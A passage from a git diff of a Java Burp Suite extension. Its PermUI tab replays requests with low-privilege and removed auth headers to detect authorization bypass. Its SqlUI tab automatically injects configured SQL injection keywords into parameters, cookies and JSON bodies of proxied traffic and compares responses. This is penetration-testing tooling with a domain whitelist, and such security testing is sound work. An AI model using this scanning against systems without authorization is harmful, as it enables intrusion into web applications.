JOptionPane.ERROR_MESSAGE); + return; + } + Perm perm = new Perm(); + perm.setDomain(domainText.replace("\n", "|")); + perm.setLow(lowAuthText.replace("\n", "|")); + perm.setNo(noAuthText.replace("\n", "|")); + int i = savePerm(perm); + if (i == 1) { + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + }else { + JOptionPane.showMessageDialog(null, "保存失败", "提示", JOptionPane.ERROR_MESSAGE); + } + } + }); + + deleteButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + int i = deletePerm(); + if (i == 1) { + JOptionPane.showMessageDialog(null, "删除缓存数据成功", "提示", JOptionPane.INFORMATION_MESSAGE); + }else { + JOptionPane.showMessageDialog(null, "删除缓存数据失败", "提示", JOptionPane.ERROR_MESSAGE); + } + } + }); + + // 添加单选框状态变化的监听器 + startplugin.addItemListener(new ItemListener() { + @Override + public void itemStateChanged(ItemEvent e) { + if (e.getStateChange() == ItemEvent.SELECTED) { // 单选框被选中 + scanProxy = true; + whiteDomain.setEnabled(false); // 禁用输入框 + lowAuth.setEnabled(false); // 禁用输入框 + noAuth.setEnabled(false); // 禁用输入框 + } else { // 单选框未被选中 + whiteDomain.setEnabled(true); // 启用输入框 + lowAuth.setEnabled(true); // 启用输入框 + noAuth.setEnabled(true); // 启用输入框 + } + } + }); + + SplitPane.setDividerSize(3); + SplitPane.add(mSplitPane, JSplitPane.LEFT); + SplitPane.add(jPanel, JSplitPane.RIGHT); + + jp.add(SplitPane); + return jp; + } + + public void CheckPermBypass(IHttpRequestResponse[] responses){ + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + + try { + List suffix = getSuffix(); + if (suffix.size() > 0) { + for (String s : suffix) { + if (url.endsWith(s) || url.contains(s)) { + return; + } + } + } + + + Perm perm = getPerm(); + if (perm.getDomain() != null && !perm.getDomain().equals("")){ + if (!url.contains(perm.getDomain())){ + Utils.stderr.println("测试目标不在白名单域名内"); + return; + } + }else { + JOptionPane.showMessageDialog(null, "请先填写白名单域名", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + + // 原始请求 + List originalheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + byte[] byte_Request = baseRequestResponse.getRequest(); + int bodyOffset = analyzeRequest.getBodyOffset(); + int len = byte_Request.length; + byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); + byte[] postMessage = Utils.helpers.buildHttpMessage(originalheaders, body); + IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); + byte[] responseBody = originalRequestResponse.getResponse(); + String originallength = ""; + if (responseBody != null) { + IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody); + List headers = originalReqResponse.getHeaders(); + for (String header : headers) { + if (header.contains("Content-Length")) { + originallength = header.split(":")[1].trim(); + break; + } + } + } + if (originallength.equals("")) { + originallength = String.valueOf(responseBody.length); + } + + + + // 低权限请求 + List lowheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String lowAuthText = perm.getLow(); + if (lowAuthText.contains("|")) { + String[] lowAuths = lowAuthText.split("\\|"); + for (String lowAuth : lowAuths) { + String head = lowAuth.split(":")[0]; + boolean headerFound = false; + for (int i = 0; i < lowheaders.size(); i++) { + String lowheader = lowheaders.get(i); + if (lowheader.contains(head)) { + lowheaders.set(i, lowAuth); + headerFound = true; + break; + } + } + if (!headerFound) { + lowheaders.add(lowAuth); + } + } + }else { + String head = lowAuthText.split(":")[0]; + boolean headerFound = false; + + for (int i = 0; i < lowheaders.size(); i++) { + String lowheader = lowheaders.get(i); + if (lowheader.contains(head)) { + lowheaders.set(i, lowAuthText); + headerFound = true; + break; + } + } + + if (!headerFound) { + lowheaders.add(lowAuthText); + } + } + byte[] lowMessage = Utils.helpers.buildHttpMessage(lowheaders, body); + IHttpRequestResponse lowRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), lowMessage); + byte[] lowresponseBody = lowRequestResponse.getResponse(); + String lowlength = ""; + IResponseInfo lowReqResponse = Utils.helpers.analyzeResponse(lowresponseBody); + List lowReqResheaders = lowReqResponse.getHeaders(); + for (String header : lowReqResheaders) { + if (header.contains("Content-Length")) { + lowlength = header.split(":")[1].trim(); + break; + } + } + if (lowlength.equals("")) { + lowlength = String.valueOf(lowresponseBody.length); + } + + + + // 无权限请求 + List noheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String noAuthText = perm.getNo(); + if (noAuthText.contains("|")) { + String[] noAuths = noAuthText.split("\\|"); + for (String noAuth : noAuths) { + noheaders.removeIf(noheader -> noheader.contains(noAuth)); + } + }else { + noheaders.removeIf(noheader -> noheader.contains(noAuthText)); + } + byte[] noMessage = Utils.helpers.buildHttpMessage(noheaders, body); + IHttpRequestResponse noRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), noMessage); + byte[] noresponseBody = noRequestResponse.getResponse(); + String nolength = ""; + IResponseInfo noReqResponse = Utils.helpers.analyzeResponse(noresponseBody); + List noReqResheaders = noReqResponse.getHeaders(); + for (String header : noReqResheaders) { + if (header.contains("Content-Length")) { + nolength = header.split(":")[1].trim(); + break; + } + } + if (nolength.equals("")) { + nolength = String.valueOf(noresponseBody.length); + } + String isSuccess = "×"; + if (originallength.equals(lowlength) && lowlength.equals(nolength)) { + isSuccess = "√"; + }else { + isSuccess = "×"; + } + + add(extensionMethod,url,originallength,lowlength,nolength,isSuccess,baseRequestResponse,lowRequestResponse,noRequestResponse); + }catch (Exception e){ + add(extensionMethod,url,"0","0","0","×",baseRequestResponse,null,null); + Utils.stderr.println(e.getMessage()); + } + + } + + + private void add(String method, String url, String originalength, String lowlength, String nolength,String isSuccess, IHttpRequestResponse baseRequestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) { + synchronized (log){ + int id = log.size(); + log.add(new PermUI.LogEntry(id, method, url, originalength, lowlength, nolength,isSuccess, baseRequestResponse, lowRequestResponse, noRequestResponse)); + fireTableRowsInserted(id, id); + fireTableDataChanged(); + } + } + + @Override + public String getTabName() { + return "Perm"; + } + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 7; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex){ + case 0:return log.get(rowIndex).id; + case 1:return log.get(rowIndex).method; + case 2:return log.get(rowIndex).url; + case 3:return log.get(rowIndex).originalength; + case 4:return log.get(rowIndex).lowlength; + case 5:return log.get(rowIndex).nolength; + case 6:return log.get(rowIndex).isSuccess; + default:return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column){ + case 0:return "id"; + case 1:return "method"; + case 2:return "url"; + case 3:return "originalength"; + case 4:return "lowlength"; + case 5:return "nolength"; + case 6:return "isSuccess"; + default:return null; + } + } + + @Override + public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { + if (scanProxy && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest){ + synchronized (log){ + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + CheckPermBypass(new IHttpRequestResponse[]{messageInfo}); + } + }); + thread.start(); + } + } + } + + private class URLTable extends JTable { + public URLTable(TableModel tableModel) { + super(tableModel); + } + + @Override + public void changeSelection(int row, int col, boolean toggle, boolean extend) { + PermUI.LogEntry logEntry = log.get(row); + originarequest.setMessage(logEntry.requestResponse.getRequest(),true); + originaresponse.setMessage(logEntry.requestResponse.getResponse(),false); + if (logEntry.lowRequestResponse == null || logEntry.noRequestResponse == null){ + lowerrequest.setMessage(null,false); + lowerresponse.setMessage(null,false); + norequest.setMessage(null,false); + noresponse.setMessage(null,false); + return; + } + lowerrequest.setMessage(logEntry.lowRequestResponse.getRequest(),true); + lowerresponse.setMessage(logEntry.lowRequestResponse.getResponse(),false); + norequest.setMessage(logEntry.noRequestResponse.getRequest(),true); + noresponse.setMessage(logEntry.noRequestResponse.getResponse(),false); + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(row, col, toggle, extend); + } + } + + private class LogEntry { + private int id; + private String method; + private String url; + private String originalength; + private String lowlength; + private String nolength; + private String isSuccess; + private IHttpRequestResponse requestResponse; + private IHttpRequestResponse lowRequestResponse; + private IHttpRequestResponse noRequestResponse; + + public LogEntry(int id, String method, String url, String originalength, String lowlength, String nolength, String isSuccess, IHttpRequestResponse requestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) { + this.id = id; + this.method = method; + this.url = url; + this.originalength = originalength; + this.lowlength = lowlength; + this.nolength = nolength; + this.isSuccess = isSuccess; + this.requestResponse = requestResponse; + this.lowRequestResponse = lowRequestResponse; + this.noRequestResponse = noRequestResponse; + } + } +} diff --git a/src/main/java/burp/ui/SqlUI.java b/src/main/java/burp/ui/SqlUI.java new file mode 100644 index 0000000..99d94db --- /dev/null +++ b/src/main/java/burp/ui/SqlUI.java @@ -0,0 +1,824 @@ +package burp.ui; + +import burp.*; +import burp.bean.Config; +import burp.bean.Sql; +import burp.utils.Utils; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import java.awt.*; +import java.awt.event.*; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.*; +import java.util.List; + +import static burp.IParameter.*; +import static burp.dao.ConfigDAO.*; +import static burp.dao.SqlDAO.addSqli; +import static burp.dao.SqlDAO.getSqliList; +import static burp.utils.Utils.getSuffix; + +public class SqlUI extends AbstractTableModel implements UIHandler, IMessageEditorController,IHttpListener { + public IBurpExtenderCallbacks callbacks; + private static final List log = new ArrayList<>(); + private static final List data = new ArrayList<>(); + private static final List data2 = new ArrayList<>(); + private IHttpRequestResponse currentlyDisplayedItem; + public AbstractTableModel model = new MyModel(); + private int select_id; + private JSplitPane splitPane1; + private JSplitPane splitPane2; + private JSplitPane splitPane3; + private JScrollPane scrollPane1; + private JTable originatable; + private JScrollPane scrollPane2; + private JTable datatable; + private JPanel panel1; + private JCheckBox startPluginbutton; // 开启插件按钮 + private JCheckBox delOriginalValuebutton; // 删除原始值按钮 + private JCheckBox whitedomainStatusbutton; // 开启域名白名单按钮、 + private JCheckBox enableCookiebutton; // 开启cookie按钮 + private JTextArea whitedomain; + private JTextArea sqlpayload; + private IMessageEditor HResponseTextEditor; + private IMessageEditor HRequestTextEditor; + private Boolean delOriginalValue; // 是否删除原始值 + private Boolean whitedomainStatus; // 是否开启域名白名单 + private Boolean enableCookie; // 是否开启cookie + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public void init() { + + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + this.callbacks = callbacks; + callbacks.registerHttpListener(this); // 注册被动扫描监听器 + JPanel jp = new JPanel(new BorderLayout()); + splitPane1 = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); // 左右分割面板 + splitPane1.setResizeWeight(0.8); + + splitPane2 = new JSplitPane(JSplitPane.VERTICAL_SPLIT); // 左边的上下分割面板 + splitPane2.setResizeWeight(0.5); + + + splitPane3 = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); // 左边上面的左右分割面板 table 分割 + splitPane3.setResizeWeight(0.5); + + originatable = new Table(SqlUI.this); + scrollPane1 = new JScrollPane(originatable); // 原始检测的table + + datatable = new Table_log(model); + scrollPane2 = new JScrollPane(datatable); // 日志的table + + splitPane3.setLeftComponent(scrollPane1); + splitPane3.setRightComponent(scrollPane2); + + JSplitPane xjSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); // 请求与响应界面的分隔面板 + JTabbedPane ltable = new JTabbedPane(); + HRequestTextEditor = callbacks.createMessageEditor(SqlUI.this, true); + ltable.addTab("Request", HRequestTextEditor.getComponent()); + JTabbedPane rtable = new JTabbedPane(); + HResponseTextEditor = callbacks.createMessageEditor(SqlUI.this, false); + rtable.addTab("Response", HResponseTextEditor.getComponent()); + xjSplitPane.add(ltable, JSplitPane.LEFT); + xjSplitPane.add(rtable, JSplitPane.RIGHT); + xjSplitPane.setResizeWeight(0.5); // 设置调整权重为 0.5,使两个面板的宽度一样 + + + + splitPane2.add(splitPane3,JSplitPane.TOP); + splitPane2.add(xjSplitPane, JSplitPane.BOTTOM); + + + // 面板 + panel1 = new JPanel(); + panel1.setLayout(new BoxLayout(panel1, BoxLayout.Y_AXIS)); + JPanel row1Panel = new JPanel(new FlowLayout(FlowLayout.LEFT)); + startPluginbutton = new JCheckBox("启用插件"); + row1Panel.add(startPluginbutton); + delOriginalValuebutton = new JCheckBox("删除原始值"); + row1Panel.add(delOriginalValuebutton); + whitedomainStatusbutton = new JCheckBox("开启域名白名单"); + row1Panel.add(whitedomainStatusbutton); + enableCookiebutton = new JCheckBox("开启cookie检测"); + row1Panel.add(enableCookiebutton); + panel1.add(row1Panel); + + + // 初始化删除按钮是否选中 + Config delOriginalValueSelect = getValueByModuleAndType("sql","delOriginalValue"); + if (delOriginalValueSelect.getValue().equals("true")){ + delOriginalValuebutton.setSelected(true); + }else { + delOriginalValuebutton.setSelected(false); + } + // 初始化域名白名单按钮是否选中 + Config whitedomainStatusSelect = getValueByModuleAndType("sql","whitedomainStatus"); + if (whitedomainStatusSelect.getValue().equals("true")){ + whitedomainStatusbutton.setSelected(true); + }else { + whitedomainStatusbutton.setSelected(false); + } + // 初始化cookie检测按钮是否选中 + Config enableCookieSelect = getValueByModuleAndType("sql","enableCookie"); + if (enableCookieSelect.getValue().equals("true")){ + enableCookiebutton.setSelected(true); + }else { + enableCookiebutton.setSelected(false); + } + + + // 当选中开启插件时,禁用白名单域名和sqlpayload + startPluginbutton.addItemListener(new ItemListener() { + @Override public void itemStateChanged(ItemEvent e) { + if (startPluginbutton.isSelected()){ + Config config = new Config(); + config.setModule("sql"); + config.setType("startPlugin"); + config.setValue("true"); + updateConfigSetting(config); + whitedomain.setEnabled(false); + sqlpayload.setEnabled(false); + }else { + Config config = new Config(); + config.setModule("sql"); + config.setType("startPlugin"); + config.setValue("false"); + updateConfigSetting(config); + whitedomain.setEnabled(true); + sqlpayload.setEnabled(true); + } + }}); + // 当选中删除原始值时,设置delOriginalValue为true + delOriginalValuebutton.addItemListener(new ItemListener() { + @Override public void itemStateChanged(ItemEvent e) { + if (delOriginalValuebutton.isSelected()){ + Config config = new Config(); + config.setModule("sql"); + config.setType("delOriginalValue"); + config.setValue("true"); + updateConfigSetting(config); + }else { + Config config = new Config(); + config.setModule("sql"); + config.setType("delOriginalValue"); + config.setValue("false"); + updateConfigSetting(config); + } + }}); + // 当选中开启域名白名单时,设置whitedomainStatus为true + whitedomainStatusbutton.addItemListener(new ItemListener() { + @Override public void itemStateChanged(ItemEvent e) { + if (whitedomainStatusbutton.isSelected()){ + Config config = new Config(); + config.setModule("sql"); + config.setType("whitedomainStatus"); + config.setValue("true"); + updateConfigSetting(config); + }else { + Config config = new Config(); + config.setModule("sql"); + config.setType("whitedomainStatus"); + config.setValue("false"); + updateConfigSetting(config); + } + + }}); + // 当选中开启cookie检测时,设置enableCookie为true + enableCookiebutton.addItemListener(new ItemListener() { + @Override public void itemStateChanged(ItemEvent e) { + if(enableCookiebutton.isSelected()){ + Config config = new Config(); + config.setModule("sql"); + config.setType("enableCookie"); + config.setValue("true"); + updateConfigSetting(config); + }else { + Config config = new Config(); + config.setModule("sql"); + config.setType("enableCookie"); + config.setValue("false"); + updateConfigSetting(config); + } + }}); + JPanel row2Panel = new JPanel(new FlowLayout(FlowLayout.LEFT)); + JButton refershButton = new JButton("刷新表格数据"); + row2Panel.add(refershButton); + + JButton delallButton = new JButton("删除表格全部"); + row2Panel.add(delallButton); + + JButton saveDomainButton = new JButton("保存白名单域名"); + row2Panel.add(saveDomainButton); + panel1.add(row2Panel); + + JButton saveSqlPayloadButton = new JButton("保存sqlpayload"); + row2Panel.add(saveSqlPayloadButton); + panel1.add(row2Panel); + + // 当点击刷新表格数据时,刷新表格数据 + refershButton.addActionListener(new ActionListener() { + @Override public void actionPerformed(ActionEvent e) { + fireTableDataChanged(); + model.fireTableDataChanged(); + }}); + // 当点击删除表格全部时,删除表格全部数据 + delallButton.addActionListener(new ActionListener() { + @Override public void actionPerformed(ActionEvent e) { + log.clear(); + data.clear(); + data2.clear(); + HResponseTextEditor.setMessage(new byte[0],false); + HResponseTextEditor.setMessage(new byte[0],false); + fireTableDataChanged(); + model.fireTableDataChanged(); + }}); + // 当点击保存表格数据时,保存表格数据 + saveDomainButton.addActionListener(new ActionListener() { + @Override public void actionPerformed(ActionEvent e) { + // 获取白名单域名 + String whitedomainText = whitedomain.getText(); + if ("白名单域名 eg:www.baidu.com,不填则不运行插件".contains(whitedomainText)){ + JOptionPane.showMessageDialog(null, "白名单域名不能为空", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + Config config = new Config(); + config.setModule("sql"); + config.setType("whiteSqlDomain"); + config.setValue(whitedomainText); + updateConfigSetting(config); + whitedomain.setText(whitedomainText); + }}); + // 当点击保存sqlpayload时,保存sqlpayload + saveSqlPayloadButton.addActionListener(new ActionListener() { + @Override public void actionPerformed(ActionEvent e) { + // 获取sqlpayload + String sqlpayloadText = sqlpayload.getText(); + if ("".equals(sqlpayloadText)){ + JOptionPane.showMessageDialog(null, "sqlpayload不能为空", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + Sql sql = new Sql(); + sql.setSql(sqlpayloadText); + addSqli(sql); + sqlpayload.setText(sqlpayloadText); + }}); + + JLabel whiteDomainText = new JLabel("白名单域名"); + panel1.add(whiteDomainText); + + + whitedomain = new JTextArea(); + // 获取白名单域名并设置到whitedomain + Config whitedomainConfig = getValueByModuleAndType("sql", "whiteSqlDomain"); + whitedomain.setText(whitedomainConfig.getValue()); + whitedomain.setFont(whitedomain.getFont().deriveFont(Font.PLAIN, 12)); // 调整字体大小 + whitedomain.setRows(1); // 设置行数 + whitedomain.setColumns(20); // 设置列数 + JScrollPane whiteDomainScrollPane = new JScrollPane(whitedomain); + panel1.add(whiteDomainScrollPane); + + JLabel sqlLableText = new JLabel("sql注入关键字,区分大小写"); + panel1.add(sqlLableText); + + StringBuilder sqlColumnNamesBuilder = new StringBuilder(); + List sqliList = getSqliList(); + for (Sql sql : sqliList) { + sqlColumnNamesBuilder.append(sql.getSql()).append("\n"); + } + String sqlColumnNames = sqlColumnNamesBuilder.toString(); + + sqlpayload = new JTextArea(); + sqlpayload.setText(sqlColumnNames); + sqlpayload.setFont(sqlpayload.getFont().deriveFont(Font.PLAIN, 12)); // 调整字体大小 + sqlpayload.setRows(5); // 设置行数 + sqlpayload.setColumns(20); // 设置列数 + JScrollPane lowAuthScrollPane = new JScrollPane(sqlpayload); + panel1.add(lowAuthScrollPane); + splitPane1.setDividerSize(3); + splitPane2.setDividerSize(3); + splitPane3.setDividerSize(1); + splitPane1.add(splitPane2, JSplitPane.LEFT); + splitPane1.add(panel1, JSplitPane.RIGHT); + + jp.add(splitPane1); + + + + + originatable.addMouseListener(new MouseAdapter() {@Override public void mouseClicked(MouseEvent e) { + model.fireTableDataChanged(); + super.mouseClicked(e); + }}); + return jp; + } + + + public void CheckSQLi(IHttpRequestResponse[] responses){ + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + List reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String method = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List paraLists= analyzeRequest.getParameters(); + List sqliPayload = getSqliList(); + Config whitedomainStatusConfig = getValueByModuleAndType("sql","whitedomainStatus"); + whitedomainStatus = whitedomainStatusConfig.getValue().equals("true"); + Config delOriginalValueConfig = getValueByModuleAndType("sql","delOriginalValue"); + delOriginalValue = delOriginalValueConfig.getValue().equals("true"); + Config enableCookieConfig = getValueByModuleAndType("sql","enableCookie"); + enableCookie = enableCookieConfig.getValue().equals("true"); + // 参数为空,直接返回 + if (paraLists.size() == 0){ + return; + } + // url 中为静态资源,直接返回 + List suffix = getSuffix(); + for (String s : suffix) { + if (url.endsWith(s) || url.contains(s)){ + return; + } + } + // url 不是白名单域名,直接返回 + if (whitedomainStatus){ + Config whiteSqlDomain = getValueByModuleAndType("sql", "whiteSqlDomain"); + if (!url.contains(whiteSqlDomain.getValue())){ + JOptionPane.showMessageDialog(null, "url不在白名单域名内", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + } + // 原始请求包发送一次 + // 原始请求 + List originalheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + byte[] byte_Request = baseRequestResponse.getRequest(); + int bodyOffset = analyzeRequest.getBodyOffset(); + int len = byte_Request.length; + byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); + byte[] postMessage = Utils.helpers.buildHttpMessage(originalheaders, body); + IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); + byte[] responseBody = originalRequestResponse.getResponse(); + int originalLength = 0; + if (responseBody != null) { + IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody); + List headers = originalReqResponse.getHeaders(); + for (String header : headers) { + if (header.contains("Content-Length")) { + originalLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + } + if (originalLength == 0) { + originalLength = Integer.parseInt(String.valueOf(responseBody.length)); + } + List listErrorKey = new ArrayList<>(); + String sqliErrorKey = getValueByModuleAndType("sql", "sqliErrorKey").getValue(); + String[] sqliErrorKeyValue = sqliErrorKey.split("\\|"); + listErrorKey.addAll(Arrays.asList(sqliErrorKeyValue)); + int logid = addLog(method, url,originalLength,originalRequestResponse); + for (IParameter para : paraLists){ + if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_COOKIE || para.getType() == PARAM_JSON){ + String paraName = para.getName(); + String paraValue = para.getValue(); + // 判断参数是否在url中 + if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY){ + if (paraName.equals("")){ + return; + } + for (Sql sql : sqliPayload) { + String errkey = "x"; + String payload = ""; + String sqlPayload = sql.getSql(); + if (sqlPayload.equals("")){ + return; + } + // 是否删除原始的参数值 + if (delOriginalValue){ + payload = sqlPayload; + }else { + payload = paraValue + sqlPayload; + } + long startTime = System.currentTimeMillis(); + IParameter iParameter = Utils.helpers.buildParameter(paraName, payload, para.getType()); + byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); + // xm17: 考虑服务器被waf了 然后返回时间很长的情况 + long endTime = System.currentTimeMillis(); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + int statusCode = analyzeResponse.getStatusCode(); + String responseTime = String.valueOf(endTime - startTime); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + int sqlLength = 0; + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + sqlLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + // 判断body中是否有errorkey关键字 + String sqlResponseBody = new String(sqlresponseBody); + for (String errorKey : listErrorKey) { + if (sqlResponseBody.contains(errorKey)){ + errkey = "√"; + break; + } + } + } + if (sqlLength == 0) { + sqlLength = Integer.parseInt(String.valueOf(sqlresponseBody.length)); + } + + addDataLog(logid,paraName, payload, sqlLength, String.valueOf(Math.abs(sqlLength-originalLength)),errkey, responseTime, String.valueOf(statusCode), newRequestResponse); + } + + } + else if(enableCookie && para.getType() == PARAM_COOKIE){ + if (paraName.equals("")){ + return; + } + for (Sql sql : sqliPayload) { + String errkey = "x"; + String payload = ""; + String sqlPayload = sql.getSql(); + if (sqlPayload.equals("")){ + return; + } + // 是否删除原始的参数值 + if (delOriginalValue){ + payload = sqlPayload; + }else { + payload = paraValue + sqlPayload; + } + long startTime = System.currentTimeMillis(); + IParameter iParameter = Utils.helpers.buildParameter(paraName, payload, para.getType()); + byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); + // xm17: 考虑服务器被waf了 然后返回时间很长的情况 + long endTime = System.currentTimeMillis(); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + int statusCode = analyzeResponse.getStatusCode(); + String responseTime = String.valueOf(endTime - startTime); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + int sqlLength = 0; + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + sqlLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + // 判断body中是否有errorkey关键字 + String sqlResponseBody = new String(sqlresponseBody); + for (String errorKey : listErrorKey) { + if (sqlResponseBody.contains(errorKey)){ + errkey = "√"; + break; + } + } + } + if (sqlLength == 0) { + sqlLength = Integer.parseInt(String.valueOf(sqlresponseBody.length)); + } + addDataLog(logid,paraName, payload, sqlLength, String.valueOf(Math.abs(sqlLength-originalLength)),errkey, responseTime, String.valueOf(statusCode), newRequestResponse); + } + + } + else if (para.getType() == PARAM_JSON){ + + for (Sql sql : sqliPayload) { + String errkey = "x"; + String payload = sql.getSql(); + String reqValue = ""; + String data = new String(body); + if (Utils.isJSON(data)){//当参数的值是json格式 + try { + data = Utils.updateJSONValue(data,payload); + byte[] message = Utils.helpers.buildHttpMessage(reqheaders, data.getBytes()); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); + // xm17: 考虑服务器被waf了 然后返回时间很长的情况 + long startTime = System.currentTimeMillis(); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + long endTime = System.currentTimeMillis(); + int statusCode = analyzeResponse.getStatusCode(); + String responseTime = String.valueOf(endTime - startTime); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + int sqlLength = 0; + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + sqlLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + // 判断body中是否有errorkey关键字 + String sqlResponseBody = new String(sqlresponseBody); + for (String errorKey : listErrorKey) { + if (sqlResponseBody.contains(errorKey)){ + errkey = "√"; + break; + } + } + } + if (sqlLength == 0) { + sqlLength = Integer.parseInt(String.valueOf(sqlresponseBody.length)); + } + addDataLog(logid,"json", data, sqlLength, String.valueOf(Math.abs(sqlLength-originalLength)),errkey, responseTime, String.valueOf(statusCode), newRequestResponse); + + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + + } + }else { + return; + } + + } + break; + } + + } + } + + updateLog(logid, method, url,originalLength,originalRequestResponse); + } + + + + public int addLog(String method ,String url,int length,IHttpRequestResponse requestResponse){ + synchronized (log){ + int id = log.size(); + log.add(new LogEntry(id,method,url,length,"正在检测",requestResponse)); + fireTableRowsInserted(id,id); + fireTableDataChanged(); + return id; + } + } + public void updateLog(int index, String method, String url,int length,IHttpRequestResponse requestResponse) { + synchronized (log) { + if (index >= 0 && index < log.size()) { + log.set(index, new LogEntry(index, method, url,length, "完成",requestResponse)); + fireTableRowsUpdated(index, index); // 更新指定行 + } + } + } + public void addDataLog(int selectId,String key,String value, int length, String change,String errkey, String time,String status,IHttpRequestResponse requestResponse){ + + synchronized (data2){ + int id = data2.size(); + data2.add(new DataEntry(id,selectId,key,value,length,change,errkey,time,status,requestResponse)); + fireTableRowsInserted(id,id); + fireTableDataChanged(); + } + } + + @Override + public String getTabName() { + return "sql"; + } + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 5; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex){ + case 0: + return log.get(rowIndex).id; + case 1: + return log.get(rowIndex).method; + case 2: + return log.get(rowIndex).url; + case 3: + return log.get(rowIndex).length; + case 4: + return log.get(rowIndex).status; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column){ + case 0: + return "id"; + case 1: + return "method"; + case 2: + return "url"; + case 3: + return "length"; + case 4: + return "status"; + default: + return null; + } + } + + @Override + public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { + Config enableSqli = getValueByModuleAndType("sql", "startPlugin"); + boolean scanProxy = enableSqli.getValue().equals("true"); + if (scanProxy && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest){ + synchronized (log){ + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + CheckSQLi(new IHttpRequestResponse[]{messageInfo}); + } + }); + thread.start(); + } + } + } + + public class LogEntry { + final int id; + final String method; + final String url; + final int length; + final String status; + final IHttpRequestResponse requestResponse; + + LogEntry(int id, String method, String url,int length,String status,IHttpRequestResponse requestResponse) { + this.id = id; + this.method = method; + this.url = url; + this.length = length; + this.status = 